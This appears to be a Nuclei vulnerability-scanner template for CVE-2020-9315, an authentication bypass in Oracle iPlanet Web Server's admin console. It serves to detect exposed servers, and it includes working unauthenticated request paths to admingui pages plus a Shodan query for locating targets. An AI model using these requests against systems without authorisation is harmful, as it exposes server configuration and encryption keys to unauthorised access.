id: CVE-2020-9315

info:
  name: Oracle iPlanet Web Server 7.0.x - Authentication Bypass
  author: dhiyaneshDk
  severity: high
  description: |
    Oracle iPlanet Web Server 7.0.x has incorrect access control for admingui/version URIs in the Administration console, as demonstrated by unauthenticated read access to encryption keys. NOTE a related support policy can be found in the www.oracle.com references attached to this CVE.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://www.cvebase.com/cve/2020/9315
    - https://www.oracle.com/support/lifetime-support/
    - https://www.oracle.com/us/assets/lifetime-support-middleware-069163.pdf
    - https://wwws.nightwatchcybersecurity.com/2020/05/10/two-vulnerabilities-in-oracles-iplanet-web-server-cve-2020-9315-and-cve-2020-9314/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9315
    cwe-id: CWE-306
    epss-score: 0.81814
    epss-percentile: 0.99602
    cpe: cpe:2.3:a:oracle:iplanet_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: iplanet_web_server
    shodan-query: cpe:"cpe:2.3:a:oracle:iplanet_web_server"
  tags: cve,cve2020,oracle,auth-bypass,iplanet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2"
      - "{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin Console"

      - type: word
        words:
          - "serverConfigurationsGeneral"
          - "serverCertificatesGeneral"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022042e8acddfd25756d2a5fa5b5f51fe25f6fc73c9ea59efabb6424a204a0d3b852022100999127617d411e0927c94c3c78ac6cf86803953fd5a81321f669235c502ecb17:922c64590222798bb761d5b6d8e72950